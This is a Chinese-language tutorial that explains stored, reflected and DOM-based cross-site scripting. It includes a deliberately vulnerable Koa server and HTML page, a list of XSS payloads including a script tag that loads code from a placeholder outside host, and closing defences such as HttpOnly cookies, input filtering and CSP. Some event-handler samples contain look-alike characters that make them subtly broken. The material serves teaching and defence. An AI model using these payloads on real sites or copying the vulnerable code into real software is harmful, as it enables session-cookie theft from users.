概述
- 名称: Cross Site Scripting (跨站点脚本工具)
- 含义: 一些站点,用户访问时。在页面渲染的过程中,存在未预知的脚本命令执行.xss 攻击涉及三方,攻击者,用户,和web服务;攻击者会通过各种方式,在用户通过浏览器访问页面时插入自己的脚本;页面一但加载,通过插入的脚本,获取到用户信息和Cookie,上传到第三方网站。从而达到恶意攻击用户的行为
xss 攻击分类
存储型
- 这个攻击的典型案例就是留言板。通过留言板输入一些恶意的脚本
<script>alert(document.cookie)</script>
,<script src=http://xxx.com/xss.js></script>
, 这些恶意脚本,没经过过滤而储存在服务器。当用户访问留言板时,这些脚本会运行,从而导致自己信息被泄露 - 流程: 前端-->后端-->数据库-->后端-->前端
反射型
- 非持久化,需要用户去点击链接才能触发xss代码,反射型XSS大多数是用来盗取用户的Cookie信息。
- 流程: 前端-->后端-->前端
我们使用node服务,模拟用户购物场景举例,
- 服务端代码
const Koa = require('koa');
const app = new Koa();
app.use(async ctx => {
ctx.body = ctx.query.name + `在购物`;
});
app.listen(3000);
-
正常访问
image.png
-
被攻击时
image.png
DOM型
- 示例前端代码
- 流程:只发生在前端
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
</body>
<script>
function getUrlParamsByName(name) {
let reg = new RegExp(`(?<=\\b${name}=)[^&]*`),
str = location.search || '',
target = str.match(reg);
if(target) {
return decodeURIComponent(target[0])
}
return;
}
document.write(getUrlParamsByName('name'))
</script>
</html>
image.png
总结
可能触发xss
的属性
document.referer
window.name
location
innerHTML
documen.write
可能触发xss
的标签
// script
<script>alert(document.cookie)</script>
<script src=http://xxx.com/xss.js></script>
// svg
<svg onload="alert(1)">
// img
<img src=1 οnerrοr=alert(document.cookie)>
// body
<body οnlοad=alert(1)>
<body οnpageshοw=alert(1)>
// video
<video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />
// style
<style οnlοad=alert(1)></style>
防御
- 服务端设置会话Cookie的HTTP Only属性
- 对用户输入的数据进行过滤
- 白名单过滤,对于名称等字段,限制长度,限制只能输入数字,字母
- 黑名单过滤, 对于
<
,>
,(
,)
,&
,"
,'
,/
等危险字段进行处理
- 设置CSP(Content Security Policy)
网友评论